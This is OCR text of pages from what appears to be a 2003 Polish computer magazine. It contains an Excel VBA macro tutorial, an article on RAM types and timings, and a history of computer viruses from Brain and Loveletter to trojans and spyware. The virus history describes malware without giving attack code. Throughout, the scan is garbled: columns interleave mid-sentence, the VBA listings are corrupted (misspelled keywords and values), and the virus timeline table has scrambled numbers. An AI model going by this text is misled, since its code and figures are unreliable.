[<SCRIPT LANGUAGE=UBScript>|
i [</SCRIPT>] dopisujgc w sekcji
kodu HTML strony, na
ktorej znajdzie sie odsytacz do pli-
ku XLS.

4 . W sekeji kodu
HTML naszej strony WWW umiesz-
czamy jeszcze definicje przycisku

-e , ktory po nacisnigciu spowoduje

uruchomienie opisanych procedur
i w konsekwencji otwarcie pliku

Y XLS bezposrednio w Excelu.

=

‘(IHPUT TYPE=BUTTON HAME=Przycisk1 VALUE="0twdérz plik .xls")‘
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VBA (Visual Basic dla Aplikacji)

D zigki VBA mozemy stwo-
rzyC proste, aczkolwiek
czesto bardzo uzyteczne makra

w aplikacjach Microsoft Office.
Ekspert pokazuje dwa przyktady
wykorzystania VBA w Excelu. Moga
one sie doskonale przydac, jesli
wykorzystujemy Excela na przyktad
jako notatnika z list czynnosci do
wykonania.

3. Teraz mozemy przystapi¢ do
napisania odpowiedniego kodu. Za

pomoca instrukcji

2. Tworzymy nowa procedure
[KolorowaniePriorytetow()| o---
i za pomocg polecenia
definiujemy w niej kilka niezbed-
nych do poprawnego dziatania
zmiennych.

4

A B C
1 | Prionytet Fadanie lub czynnosé Wykonano?
2 Podlaé kwiaty Tak
3| 2 [Ugotowad ohiad ?
4 Mapisad wypracowanie Mie
5| 2 |Zrohié zakupy NLE

y |

Zmiana zawartosci
komérki dwukrotnym
kliknieciem myszki
Wykorzystujgc procedury zda-
rzeniowe w VBA, mozemy sprawic,
ze makro uruchomi sie automa-
tycznie, gdy zostanie wykonana ja-
ka$ operacja w Excelu (na przyktad
otwarcie pliku, dwukrotne kliknie-
cie lewym klawiszem myszki). Na-
piszmy wiec makro, ktdre bedzie
zmieniato zawarto$¢ komorki w ar-
kuszu (kolejno

definiujemy kolejne wartosci o ,
ktore bedg pojawialy sie w kazdej
komorce e, na kiorg dwukrotnie
klikniemy lewym klawiszem myszy.

4 . Pozostalo nam juz tylko prze-
kazac informacje o anulowaniu zda-
rzenia ¢, aby dwukrotne kliknigcie

zostato potraktowane jedynie jako
wywotanie makra i nie powodowato
przejscia do trybu edycji danych
znajdujgcych sig w komorce.

H
| |Private Sub Worksheet BeforeDoubleClick
na TAK! NIE i (ByUal Target As Rsnge, Cancel As Boolean)
i 7) za kazdym 1|, N
| [[Select Case Target.Ualue |
razem, gdy il case "Tak" i
dwukrotnie na | Target_Ualue = "Hie" |
X o \ Case "Hie™ '
nig klikniemy. ! Target.Value = "2" E
Case "?" 1
Mgkro to be_. Target.value = “Tak" |
dziemy mogli Case Else !
N Target.Value = "Tak" i
wykorzystac End Select )
do SZybkle,gO Cancel = True —=&
zaznaczania
zadan i czyn-  LE9 Sub

no$ci juz wykonanych.

1. Aby wykonaé makro zdarzenio-
we, z poziomu Excela uruchamiamy
edytor Visual Basic (naciskajac
kombinacje klawiszy §2 3 [Fr),

a nastepnie w Eksploratorze projek-
tu e dwukrotnie klikamy na arkusz,

w ramach ktorego majg dziata¢
procedury zdarzeniowe.

2. W oknie kod, jakie sie poja-
Wi, z rozwijanej listy e wybieramy

pozycje [Worksheet| 3 7 listy e--
zdarzenie, po ktorym makro zosta- '
nie uruchomione — w naszym przy-
padku [BeforeDoubleClick], czyli

reakcja na podwojne kliknigcie.

Zabarwianie komérek
w zaleznosci od
ich wartosci

Aby wyr6zni¢ zadania do wyko-
nania pod wzgledem ich waznosci,
mozemy nadac im rozne prioryte-
ty. Liczby s3 jednak mato widocz-
ne, wiec stworzmy makro w Exce-
lu, ktdre bedzie, w zaleznosci
od priorytetu, nadawato poszcze-
g6Inym komarkom odpowiedni
kolor.

1. Uruchamiamy edytor Visual
Basic (za pomoca kombinacji kla-
wiszy FA1FT), a w nim okno ko-
du (klawisz F¥%).

crozoft Vizual B asic - Zeszytl

Edvcja widok ‘wstaw Format Analiza Uruchom Marzedzia Okno  Pomoc

a-J i medalo o)

&, Zeszytl - Arkuszl [Kod programu)

e HEE 2D .
[m]

s

I
Iwul

| IBeforeDoubIeCIic

=

«&; Strings -
Project (Zeszytl})
Microsoft Excel Obiekky

Arkusz (Arkuszl)
B Arkusz2 (Arkusz?) |
Arknsz3 farkise

Private 3ub Iﬂorksheet_BefDreDoub‘

End Zub

3.7 pomoca funkcji  podajg-

Trudne terminy

2

» ohiekt - kombinacja kodu programu i danych, ktére

moga by¢ traktowane jako catos¢. Obiektem moze by¢ na
przyktad arkusz w Excelu, belka z przyciskami czy nawet

sama aplikacja Excel.

» metoda - procedura lub funkcja, ktéra moze
wykonac obiekt.

» procedura - opatrzona nazwa sekwencja instrukgji
wykonywanych jako jeden blok.

» funkcja - procedura, ktdra w wyniku wykonania
okreslonego zadania zwraca pewng wartosc.

» zdarzenie - akcja (na przyktad klikniecie myszka,
otwarcie pliku), dla ktdrej istnieje mozliwos¢ napisania
reagujgcego na nig kodu programu.

Case ™2

4_ W pet- Case 3"

ActiveSheet.Cells{i, 1).Interior.ColorIndex = &

ActiveSheet.Cells(i, 1).Interior.ColorIndex = 4

sanym prio- \i

rytetem do Sub KolorowaniePriorytetow()

Zad_amad pim i As Integer, OstatniViersz As Integer

obliczamy - i N
liczbe za- ODstatniWiersz = (Application.CountA{fActiveSheet.Range("AzA"))}
dan badz For i = 1 To OstatniWiersz

CZynnOSC_' Select Case ActiveSheet.Cells{i, 1).Value

na nasze) case "1"

liscie. ActiveSheet.Cells{i, 1).Interior.ColorIndex = 3

lie Spraw- Case Else

dzamy war- ActiveSheet.Cells(i, 1).Interior.ColorIndex = xlHone
tosci kolej— End Select

nych pol Hext y

Z prioryteta- T S

mi i za po-

mocg instrukcji [Select Case] ustawi¢ odpowiednie opcje. E
w zaleznosci od tej wartosci, przy- W okienku, kidre sig pojawi, wpisu- d
pisujemy komorce odpowiedni ko-  jemy wybrany przez nas skrot kla-

lor. Najwazniejsze zadania bgdz wiaturowy. Jego nacisniecie bedzie g
czynno$ci (o priorytecie wynosza-  powodowato bezposrednie urucho-

cym 1) wyrdznione zostang kolo-
rem czerwonym (numer tego kolo-
ruw VBA wynosi 3). Zadania

0 priorytecie rownym 2 beda zabar-
wione na z0tto, a najmniej istotne
zadania na zielono.

5. Aby utatwi¢ uruchamianie na-
pisanego przez nas makra, zdefi-
niujmy do niego skrot klawiszowy.
W tym celu w Excelu naciskamy
kombinacje klawiszy a3 Fs.

W oknie menedzera makr, w polu e,

klikamy na nazwe naszego makra,
a nastepnie na przycisk e, aby

mienie naszego makra. PP m

@ Warto zajrze¢... ]

Ksiazki:

e VBScript. Cwiczenia z... - Marian Mysior, s
wydawnictwo Mikom, Warszawa 2002, cena: ?
17,80 zt :

e ABC Visual Basica dla aplikacji w Office 3 A

XP PL - E. C. Willett, S. Cummings, ttum. Bogdan <
Czogalik, wyd. Helion, Gliwice 2002, cena: 25 zt .
Adresy WWW:

o www.visualbasic.terramail.pl
e http://vb4all.canpol.pl/ivbscript/kurs.htm
® www.vbamania.cad.pl/kurs.htm

M akro EHE

Mazwa makra:

I.C\rlﬂ_lszl KolorowaniePriorytetom

\J

Makra VB, xls
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MAGAZYN JAK TO DZIALA?

Pamiqé RAM

Pamie¢ w lerze’
spotykamy na katzc:lymnj

kroku. RAM t to jeclen z j
najwazniejs:
Ekspert wyrasma, iak’
dziatajq koscl pamu:cl

igkszo$¢ uzyt-

kownikow pece-

tow z okresle-
niem pamie¢ utozsamia niewielkie
podfuzne moduty umieszczane
w specjalnych gniazdach na ptycie
gtownej. Pamie¢ to jednak kazdy
rodzaj nosnika umozliwiajgcy prze-
chowywanie informacji. Jest nig za-
rowno dyskietka, ptyta CD-ROM,
dysk twardy, RAM i pamie¢ pod-
reczna procesora.

@

Trudne terminy

G BE&moriat KOMPUTER SWAT EKSPERT _ |

» CAS - ang. Column Access Strobe - impuls dostepu
do kolumny

1. Sygnat oznaczajacy, ze aktualne informacje na szynie
adresowej sg adresem kolumny w matrycy komorek pa-
mieci, do ktorej potrzebny jest dostep

2. Potocznie - opdznienie migdzy wydaniem polecenia
odczytu danych a pojawieniem sig ich na szynie danych

» nanosekunda - jedna miliardowa czes¢ sekundy

» RAS - ang. Row Access Strobe - impuls dostepu
do rzedu. Sygnat oznaczajacy, ze aktualne informacje
na szynie adresowej sg adresem rzedu w matrycy
komarek pamieci, do ktdrego potrzebny jest dostep

» szyna adresowa, szyna danych - zbior przewo-

dow, sciezek w uktadach scalonych, ktorymi transmitowa-
ne sg informacje w komputerze. Kazda szyna sktada sie

z dwu czesci - szyny danych i szyny adresowej. Pierwsza

z nich przesytane sg dane, drugg zas informacje, gdzie da-
ne powinny trafi¢, czyli ich adres

Po co komputerowi az tyle roz-
nych rodzajow pamieci? Pecet
magtby sobie poradzic¢, korzystajgc
wytgcznie z jednego typu pamieci —
na przyktad dysku twardego. Nieste-
ty, taki komputer bytby niesamowi-
cie wolny. Szybki dysk twardy dys-
ponuje $rednim tempem transferu
danych na poziomie 30 MB/s. Tym-
czasem nowoczesna pamie¢ RAM

68 czerwiEC - LiPIEC 2003 [0 aaad

oferuje transfer 2500 MB/s. Pamig¢
podreczna umieszczona w proceso-
rze jest jeszcze szybsza— oferowa-
ny przez nig transfer to mniej wiecej
50 GB/s.

Czy nie bytoby zatem dobrym
rozwigzaniem wyposazy¢ caty kom-
puter w jeden — najszybszy rodzaj
pamieci? Na przeszkodzie staje cena
—im szybsza pamiec, tym drozsza.
Jeden megabajt dysku twardego
kosztuje w przyblizeniu 1000 razy
mnigj niz jeden megabajt RAM-u.

Z tego powodu komputer wyposazo-
ny jest w duze ilosci taniej pamieci
i mniejsze — drozsze;.

Ze wzgledu na swojg szybkos¢
i ceng idealnym buforem pomiedzy
wolny dyskiem twardym a bardzo
drogg pamiecig podreczng proceso-
ra jest pamig¢ RAM. W niej umiesz-
czane sg aktualnie wykorzystywane
dane, wyniki obliczen, pliki urucha-
mianych aplikacji.

Struktura wewnetrzna pamieci @-—

przypomina prostokatng matryce ko-
morek. Kazda komarka skfada sie

Y

szyna danych

dane |

: dane

7] R5RARS R R RT R RT)
zegar
RAS
CAS ‘
rzad kolumna
szyna adresowa o

e

ane

" dane

" dané

Schemat cyklu odczytu danych z pamieci typu SDRAM

Z jednego tranzystora i kondensatora
i moze przechowywac jeden bit in-
formacji (wartos¢ 0 lub 1). Aby od-
nalez¢ konkretng komarke, musimy
znat jej adres, czyli numer wiersza

i kolumny. Poniewaz do poszczegol-
nych komarek pamieci mozemy od-
wotywac sie w dowolnej kolejnosci,
taki typ pamieci nazywamy RAM-em
(ang. Random Access Memory —
pamie¢ o dostepie swobodnym).
Oprocz komorek pamieci w modu-
tach znajdujq sie struktury obstugu-
jace matryce — dekodujgce adres

szyna adresowa

kolumn

komérka pamieci

dekoder
adresu rzedéw

dekoder adresu

szyna danych

ofrzymany za posrednictwem szyny
adresowej z kontrolera pamieci
umieszczonego w chipsecie piyty
gtownej, wybierajgce odpowiednig
komarke, odczytujgce jej zawarto$¢
i wysytajace jg szyng danych z po-
wrotem do kontrolera.

Rytm pracy pamieci RAM jest
wyznaczany specjalnym zegarem.
W wypadku pamigci SDRAM,
DDR-SDRAM i RDRAM jest on
zsynchronizowany z zegarem pro-
cesora. Sygnatem do dziafania jest
Wznoszgce sig zbocze sygnatu ze-
garowego. W chwili, gdy dane
majq by¢ odczytane z pamigci na
Szynie adresowej, pojawia sig in-
formacja. Specjalny sygnat (RAS)
informuje pamigc, Ze jest nig ad-
res rzedu matrycy, z ktorego po-
chodzi¢ beda dane. Nastepnie po-
jawia sie sygnat (CAS) informuja-
¢y, ze od tej chwili przekazywany
jest juz adres kolumny. Docelowa
komarka pamieci znajduje sie na
przecigciu wybranej kolumny
i rzedu. W wypadku pamieci
SDRAM nastepne komorki w da-
nym rzedzie moga by¢ odczytywa-
ne z pominigciem procedury wy-
bierania adresu.



Typ pamieci RAM wykorzystywa-
ny powszechnie w pecetach to tak
zwany DRAM, czyli dynamiczny
RAM. Jego zaletg w poréwnaniu ze
statycznym RAM-em (SRAM) jest
zZnacznie prostsza (i tansza) kon-
strukcja komorek pamieci. Wadg —
ze pamig¢ tego typu bardzo szybko
traci swojg zawartosc. Aby wiec
mozna byto z niej korzystac, cafa za-
warto$¢ DRAM-u musi by¢ regular-
nie od$wiezana. Od$wiezanie polega
na odczytywaniu zawarto$ci pamieci
i ponownym jej zapisywaniu i jest
cyklicznie wykonywane przez caty
czas dziatania komputera.

Parametry pamieci
Kupujgc pamiec, nalezy zwrocic
uwage na dwa parametry. Pierwszy
Z nich to czas dostepu — jest on po-
dawany w nanosekundach )

LELDELERFERERL:

Jesli komputer ma pracowacé
Z szyng systemowg taktowang zega-
rem 166 MHz, to najdtuzszy akcep-
towalny czas dostepu pamigci RAM
obliczymy, dzielac 1 przez 166 MHz
(166 000 000 Hz). Wynik otrzyma-
my w nanosekundach. W tym wy-
padku bedzie to 6 ns. Pamig¢
z dtuzszym czasem dostepu nie jest
w stanie pracowac z tak szybka ma-
gistralg. Istotnym parametrem jest
czas latencji — CAS. Liczba opisujg-
ca CAS i czas dostepu podawana
jest bez przecinka @. Jezeli jest
dwucyfrowa, to drugg cyfre traktuje-
my jako czesc d2|e3|etna

(@Oznaczenia réznych typow pamieci]

p opularna metoda oznaczania pamieci uwzglednia predkos¢ magistrali
systemowej. Czesto mozna spotkac sie takze z inng metoda uwzgled-
niajgcq przepustowosci kosci RAM (podana w nawiasach).

PC100
PC133
PC200
PC266
PC333
PC400
PC800

(800 MB/s)  Nieprodukowany juz typ pamieci SDRAM pracujacy
z magistralg systemowga 100 MHz
Pamigci typu SDRAM wspdtpracujgce z magistralg
systemowa 133 MHz
Pamieci typu DDR-SDRAM wspdtpracujace
z magistralg systemowga 100 MHz
(2100 MB/s) Pamieci typu DDR-SDRAM wspdtpracujace
z magistralg systemowg 133 MHz
(2700 MBY/s) Pamieci typu DDR-SDRAM wspdtpracujgce
z magjistralg systemowga 166 MHz
(3200 MB/s) Pamieci typu DDR-SDRAM wspdtpracujace
z magistralg systemowa 200 MHz
(3200 MB/s) Pamieci typu RDRAM. Wspdtpracujg z magistralg
systemowg 400 MHz
PC1066 (4200 MB/s) Pamieci typu RDRAM. Wspétpracuja z magistrala
systemowg 533 MHz

(1100 MBfs)

(1600 MB/s)

Moduty zawierajgce pamig¢
RDRAM nalezy instalowa¢ parami.
Dzieki temu pracujg dwukanatowo
(dane na przemian s3 zapisywane
i odczytywane w dwu modutach),
przez ¢o dodatkowo podwajana jest
przepustowosc.

Istniejg moduty 32-bitowe, ktore
3 po prostu dwoma modutami
w jednym. Dzieki temu nie musza
by¢ instalowane parami. Takie mo-
duty wymagajg jednak przystosowa-
nej do nich piyty gtowne;.

Wszystkie dostepne na ptycie
gniazda pamieci RDRAM muszg by¢
zajete. Tam gdzie nie zainstalowano
modutow pamigci, nalezy wtozy¢
specjalne zaslepki (tak zwane
CRIMM-y) dostarczane zazwyczaj
Z piytg gtéwna. MK m

CAS to opdznienie podawane
w cyklach zegarowych pomiedzy
otrzymaniem przez pamiec polece-
nia odczytu a pojawieniem sie na
szynie danych pierwszych informa-
cji. Typowe pamieci SDRAM majag
CAS = 3, DDR-SDRAM za$ = 2,5.
Drozsze moduty majg CAS = 2.
Krotszy czas latencji to wyzsza o kil-
ka procent wydajno$¢ komputera.

CAS i inne parametry pracy pa-
migci mozna ustawi¢ w BIOS-ie @.

Hemory Timings
- Row-active delay
- RAS-to-CAS delay

= Row-precharge delay
- CAS Latency Time

Im nizsze beda poszczegolne
warto$ci, tym pamie¢ bedzie praco-
wata wydajniej. Jesli jednak ustawi-
my zbyt krotkie opdznienia, system
zacznie pracowac niestabilnie.

Rodzaje pamieci

FPM DRAM - ang. Fast Page Mo-
de Dynamic Random Access Me-
mory — 32-bitowa pamig¢ pojawita
sie masowo w 1987 roku. Mozna
przyjac, ze od niej zaczyna sig histo-
ria wspotczesnej pamigci RAM. Za-
letg FPM w poréwnaniu ze starszymi
pamigciami typu DRAM byt znacz-
nie szybszy dostep do danych. Uzy-
skano to dzieki specjalnemu trybowi
adresowania komarek pamieci. Nie
musiaty by¢ juz adresowane poje-
dynczo. Jeden sygnat aktywowat ca-
ty ich rzad (tak zwang strone) i do
wybrania kolejnych komarek wystar-
czato zmienia¢ adres kolumny.

EDO DRAM - ang. Extended Data
Output DRAM — pamig¢ dostepna
na rynku od 1995 roku. Powstata

w wyniku modyfikacji FPM DRAM.
Dane z wybranego rzedu mogty byc¢
odczytywane nie tylko wtedy, gdy
ustawiony byt adres tego rzedu, lecz
takze podczas wybierania juz adresu
innego rzedu, co przyspieszato dzia-
fanie pamieci.

SDRAM - ang. Synchrous DRAM-
64-bitowa pamie¢ popularna od
1997 roku. W odrdznieniu od po-
przednikow SDRAM pracowata syn-
chronicznie z zegarem taktujgcym
procesor. Dzigki temu unikano sytu-
acji, gdy procesor oczekiwat na da-
ne, bo zakonczyt wykonywane ope-
racje pomiedzy cyklami odczytu/za-
pisu pamieci. Zaleta SDRAM-u byta
tez mozliwo$¢ pracy w trybie pakie-
towym (burst). Ten tryb wykorzystuje

fakt, ze w zdecydowanej wiekszosci
wypadkow potrzebne akurat dane za-
pisane sg w kolejnych komorkach.
Czas na ustawienie adresu jest tu
wymagany tylko do wybrania adresu
pierwszej komorki. Komarki o kolej-
nych adresach moga by¢ btyska-
wicznie (co jeden takt zegara) od-
czytywane bez straty czasu na wy-
bieranie petnego ich adresu.

Kolejng innowacjg byta organiza-
cja pamieci w obrebie jednego mo-
dutu w kilka bankow (zazwyczaj
cztery). Gdy jeden bank jest zajety
jaka$ operacjg (zapis, odczyt, od-
Swiezanie), komputer nie musi cze-
ka¢ na jego ponowne przygotowanie
do wykorzystania — dane mozna za-
pisa¢ w innym banku.

DDR-SDRAM - ang. Double Data
Rate SDRAM — nastepna generacja
pamigci SDRAM. Rdznica wzgledem
poprzednika to praca przy opadaj3-
cym zboczu sygnatu sterujgcego.
Dzieki temu przy tej samej czestotli-
wosci zegara wykonywane jest dwa
razy Wigcej operacji.

RDRAM - ang. Rambus DRAM —
16-bitowa pamie¢ zaprojektowana
przez firme Rambus (premiera

w roku 1999) specjalnie dla Pen-
tium 4. Wykorzystuje moduty po-
dobne do DDR-SDRAM jednak

0 zupetnie innej wewnegtrznej orga-
nizacji. Kazdy uktad scalony
wchodzacy w skfad modutu
RDRAM moze zawiera¢ do 32
bankow. Potowa z nich jest zawsze
przygotowana do pracy. Dzigki tak
duzej liczbie otwartych bankéw
mozliwa jest praca z bardzo wyso-
kimi czestotliwosciami (400, 533
MHz). PredkoSci te dodatkowo sg
podwajane tak jak w wypadku pa-
migci typu DDR.

@Warto zajrzeé...

® www.arstechnica.com
o www.tomshardware.com

@ DIMM czy SDRAM?

]

c zesto mylone sg ze sobg nazwy rodzajow uktadow
pamieci z nazwami typdw modutdw, w jakich je
umieszczono. Ekspert przedstawia poprawne nazwy mo-
dutéw i typy montowanych na nich uktadéw pamieci.
SIMM (ang. Single In-Line Memory Module). Istniejg dwie
wersje SIMM-6w - 8-bitowe o 30 ztaczach @,

oraz 32-bitowe z 72 ztaczami @.

W postaci SIMM-éw wystepowaty pamieci FPM DRAM
i EDO RAM (tylko 32-hitowe).

DIMM - ang. Dual In-Line Memory Module.
Typowe 64-bitowe DIMM-y majg 168 ztacz @.

W takiej postaci wystepujg pamieci typu EDO RAM
i SDRAM. Moduty zawierajace pamie¢ DDR-SDRAM
majg 184 ztacza @.

RIMM - ang. Rambus In-Line Memory Module, nazwa
handlowa firmy Rambus. RIMM-y zawierajg pamieci
RDRAM zaprojektowane przez firme Rambus.
16-bitowe RIMM-y wyposazone s3 w 184 ztgcza @. W od-
roznieniu od innych typow pamieci te muszg by¢ wyposa-
zone w metalowg obudowe spetniajacg funkcje radiatora.

L
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Obecnie znamy okoto . a

70 000 wirusdw i co mie-
sigc powstaje niemal 500
nowych. Niewykluczone,
ze grozi nam wielka zara-
za. Ekspert wyjasnia, czym
jest komputerowy wirus

i przypomina najwieksze
epidemie

ierwszg definicje podat

w 1984 roku nauko-

wiec Fred Cohen
z Uniwersytetu Lehigh w Bethlehem
w stanie Pensylwania (USA). We-
dtug niego wirus to program, ktory
infekuje inne programy, modyfiku-
jac je tak, aby zawieraty jego wfas-
ny kod.

_[ol]|
J Bl Edycja ‘Widok Marzedzia ‘Wiadomo#c ¥

& ILOVEYDU

22 e W2 =5 7
Odpowiedz  Odpowiedz... Przesli dalgj Dirukuj
Od:
D ata: 22 grudnia 2000 21:29
Do:
Temat: ILOVEY DL
Dolacz: @ LOWE-LETTER-FOR-vOU. THT . vbs

Fe

kindly check the attached LOVELETTEER
cotning from me.

=
I v

Otrzymanie takiego e-maila byto dla tysiecy uzytkownikéw poczat-
kiem sporych ktopotéw z komputerem. Trzy lata temu Loveletter
zarazit 18 procent pecetéw na Swiecie
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MAGAZYN HISTORIA WIRUSOW

Epidemia n

Podobienstwo do biologicznych
imiennikdw jest oczywiste: prosta
budowa, konieczno$¢ istnienia or-
ganizmu-zywiciela (zywa komarka
i program komputerowy), zdoIno$¢
do szybkiego powielania sie, umie-
jetnoSc ukrywania sie oraz destruk-
tywne dziatanie. Jednak nie wszyst-
kie wirusy maja te cechy. Na przy-
kfad tak zwane robaki niczego nie
niszcza, lecz kopiujac sie, blokuja
systemy komputerowe.

Mozna wiec przyjac, ze wirusy to
samopowielajgce sie programy,
stworzone w celu zakfocenia dziata-
nia systemu komputerowego, do
ktorego wnikajg bez zgody i wiedzy
jego wiasciciela.

Wedréwki
po $wiattowodach

Wirusy ujawniajg sig na wiele
sposobow. Wyswietlajg komunika-
ty, zwalniajg prace komputera, za-
stepujg swojg kopig wazne dla sys-
temu pliki, na przyktad biblioteki
DLL. Najczesciej dofgczajg po pro-
stu swoj kod do innych zbiorow.
Ztosliwe usuwajg pliki, kasujg cate
partycje, a nawet nieodwracalnie
uszkadzajg BIOS.

Straty wywotane na $wiecie
przez wirusy tylko w ubiegtym roku
szacuje sie na mniej wiecej 12 mi-
liardéw dolaréw. Sam robak Code-
Red sparalizowat na wiele dni sieci
tysigcy firm i spowodowat spusto-
szenie wyceniane na 2,6 miliarda
dolarow. Niechlubnym rekordzistg
pozostaje jednak wirus | Love You,

nazywany takze Loveletter. Jego
dziatalno$¢ kosztowata uzytkowni-
kow na catym Swiecie okoto 8,7
miliarda dolarow.

Wiele wiruséw nadal przenosi
sie za pomocg tradycyjnych nosni-
kow, dyskietki czy tez CD-ROM-u.
Jednak gtownym Srodkiem rozprze-
strzeniania sie stat sig internet.
Jeszcze niedawno, aby zarazi¢ ko-
lejng ofiare, bakcyle potrzebowaty
chocby nieswiadomej wspotpracy
czfowieka, na przykfad odebrania
lub wystania zainfekowanej poczty.
Jednak robaki takie jak CodeRed do
zarazenia nie potrzebujg dziatania
ludzi. Stworzono réwniez takie, kto-
re w trakcie wedrowki po sieci
zZmieniajg postac, szyfrujg wiasny
kod, a takze uaktualniajg sie, faczac
sie z serwerami swoich tworcow.

Profesor Stephen Hawking, ge-
nialny fizyk, okreslit je jako pierw-
szg forme zycia stworzong przez
cztowieka.

Kon i szpicel

Czesto do jednego worka z wi-
rusami wrzuca sie inne szkodniki,
przede wszystkim konie trojanskie.
Programy te, podobnie jak wojow-
nicy ukryci w ich mitologicznym
odpowiedniku, sg czescig innych
aplikacji. Dzigki obecnos$ci modu-
tu RAT (ang. Remote Access Tool
— narzedzie zdalnego dostepu) po-
zwalajg ukrywajacym sie w inter-
necie tworcom na opanowanie
komputera-nosiciela. Obecno$¢
trojana moze objawiac sie na przy-
kfad samoczynnym otwieraniem
CD-ROM-u, resetowaniem sig

Widoczne efekty dziatania wirusa. Niestety, jesli tak dowiadujemy sie o jego
istnieniu, przewaznie jest juz za p6zno
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Target host:port

** 0:Ping host packet sent (19 bytes) wall: " val2; "

Packet received from host 127.0.0.1 port 31337

PORGH 20DEFALULT!
Enul of Data

Za pomocq programu-klienta wtamywacz steruje komputerem, na dysku ktérego

znajduje sie ukryty kon trojanski
komputera, a nawet zniknigciem
danych z dysku. Kon trojanski

w zarazonym komputerze petni
funkcje programu-serwera. Wyko-
nuje nadchodzgce z sieci polece-
nia. Klientem jest specjalna aplika-
cja, umozliwiajgca wydawanie ko-
mend zarazonemu systemowi. Ko-
nie trojanskie nie rozprzestrzeniajg
sie same, potrzebuja do tego in-

struktur komputerowych. Jednak
pierwszego wirusa stworzyt w celach
naukowych wspomniany Fred Co-
hen. 3 listopada 1983 roku zapre-
zentowat jego dziatanie. Nie mingty
trzy lata, gdy zostaly zaatakowane
setki komputeréw w USA. Nieznany
dotad typ wirusa stworzyli dwaj Pa-
kistaniczycy. Od nazwy ich firmy
bakey! otrzymat miano Brain (ang.

42 GetRight Installation

Remembers ALL
your passwords.

Fills in forms
with no typing!

Saves you
money!

GATOR

| el

software.

GetRight Comes With
Gator.com Software!

By including Gator and OfferCompanion zoftware with GetRight,
we're making your computer smarter!

Gator and DfferCompanion are among the web's most popular
software applications. Gator fills in pour pazswords and online
forms automatically - with no typing! And OfferCompanion
delivers great offers to you bazed on the web sites pou visit.

Alfter the installation of GetRight. you will receive a message with
more infarmation about your Gator and OfferCompanion

Doéwiadczenia twércow koni trojariskich wykorzystuje sie przy tworzeniu programéw

spyware. Aplikacja éledzi poczynania uzytkownika i przekazuje informacje do centrali.

(zesto Spyware obiecuje pewng przydatnoéé, zeby naktoni¢ nas do zainstalowania

nych programoéw. Ukrywajg sie
w roznych, najczesciej atrakcyj-
nych, bo darmowych, aplikacjach.
Uzytkownik, niczego nie pode;jrze-
wajac, razem z programem instalu-
je sobie na dysku trojana.

Inna grupa niechcianych gosci to
oprogramowanie typu adware.
Sg to moduty dotgczone do roznych
aplikacji (najczesciej darmowych),
wyswietlajgce pobierane z serwera
reklamy. Towarzyszy im czesto spy-
ware, przesyfajgce informacje o od-
wiedzanych przez uzytkownika stro-
nach WWW, konfiguracji komputera
¢zy zainstalowanych programach.
Firma Radiate, tworca spyware,
przyznaje, ze system umieszczono
w okoto 600 aplikacjach (miedzy in-
nymi w GetRight, Golzilla, CuteFTP).

Dawno, dawno temu...
Juz w latach pig¢dziesiatych XX

wieku przewidziano mozliwo$¢ po-

wstania samopowielajacych sig

mozg). Nowatorstwo programistow
polegafo na tym, ze wirus umiesz-
czat szkodliwy kod w sektorze rozru-
chowym (Master Boot Record) dys-
ku twardego, dzieki czemu urucha-
miat sig wraz ze startem systemu
operacyjnego.

Pierwszy wirus mogacy docze-
piac sie do plikéw pojawit sie
w 1987 roku. Studenci Uniwersytetu
Lehigh zgfaszali dziwne zachowanie
uczelnianych komputerow. Okazato
sie, ze to efekt dziatania wirusa na-
zwanego pozniej Lehigh. Jego ofiarg
padat plik command.com Na szcze-
Scie wirus nie wydostat sie poza
uczelnie.

Rok przetomu

13 maja 1988 roku. odmawity
postuszenstwa komputery Minister-
stwa Obrony Izraela (niektdre zrodfa
podaja, ze Uniwersytetu Hebrajskie-
go). Spowodowat to szkodnik na-
zwany Jerusalem. Zawierat on bom-

be logiczng, to znaczy, ze miat sie (@ . y

uaktywni¢ w okreslonym dniu, wia- Czas wiruséw W
snie w 50. rocznice powstania pari- Rok Liczha wirusiw lle przybyto Uwagi

stwa Izrael. Na podstawie tej poszla- 1986 1 pierwszy wirus

ki autorstwo wirusa przypisano pro- 1987 2 100% . .
gramistom palestynskim. W tym sa- }ggg g 133:? powstarie rohiaka Mortisa

”?ym foku pOJaWHISIQ Den ZUk'.TO 1990 80 1233%  powstanie wirusow polimorficznych
pierwszy wirus, ktorego celem jest 1991 0 25%

walka z innymi bakcylami. Dziefoin-“qeep 1000 194% _ wirus Michal Aniol

donezyjskiego programisty niszczy 1903 2600 160%

kopie Braina, a takze uodpamnia 1994 4000 54%

komputery na przyszte infekcje. 1995 5900 48%

pierwszy wirus makr atakuje Worda

Réwniez w 1988 roku Robert 1996 8000 3%

wirusy dla Win 95

- et 97 1000 25%

nMa(;;”Wsaa'L gvéylrﬁ]?:fgéf‘\?’v‘gfrﬂﬂljgb;ka 1098 15500 5%  wirus a Javy i ojan Back Oriice
. . . 1999 36 500 135%  atakuje Melissa

bakiem Morrisa. Ten pierwszy pro- 200 4679 28%  robak Loveleter, rojan PDA

gram replikujgcy sie za podrednic- 000 43450 4%  szybki atak wirusa Nimda

twem sieci sparalizowat prace okoto
6000 komputerow, nie szczedzac
rzadowych i medycznych. Zdarzenia

Zrédto: Symantec

te uswiadomity opinii publicznej, ja-

C Co i kiedy zarazaty wirusy W

kie zagrozenie niosg wirusy.

Aplikacja Data Wirus
H H Mac 0S czerwiec 1987 Mac/nVIR-A
Wolna antyw!rusoyva ) Word (macro) sierpien 1995 WN/Concept
- W drugiej pofowie lat osiemdzie- “indows 311 grudziefi 1995 Win/StalkerX
Sigtych powstaty pierwsze programy Excel (macro) lipiec 1996 XM/Laroux
antywirusowe. Ich dziatanie opierato MS Access marzec 1998 AM97/Accesiv
sie na porownywaniu plikow z baza- Java sierpieri 1998 Strange Brew
mi fragmentéw kodu wirusow. Windows NT grudzieri 1998 WNT/RemExp
&4 tal ~ Power Point grudzien 1998 PM97/ira
Obecnosc takiego fragmentu w po Macromedia Flash wrzesien 2000 SWF/LFM-926

dejrzanym pliku $wiadczyta o zainfe-
kowaniu. Mks_vir — pierwszy pro-
gram antywirusowy polskich progra-
mistow — powstat w roku 1987.

W 1991 roku pojawita sig nigwy-
krywalna przez 6wczesne skanery
Tequilla. Byt to wirus polimorficzny,
czyli zdolny do zmiany wtasnego
kodu, dzieki czemu kazda jego ko-

Pod koniec XX wieku powstato
kilka ciekawych wirusow. Melissa
(rok 1999) — pierwszy wirus roz-
powszechniajacy sie za posrednic-
twem e-maili — spowodowata
67-procentowy wzrost sprzedazy
programow antywirusowych

pia byta troche inna.

Wiedy wtasnie do walki z wiru-
sami wigczyty sie media. Na po-
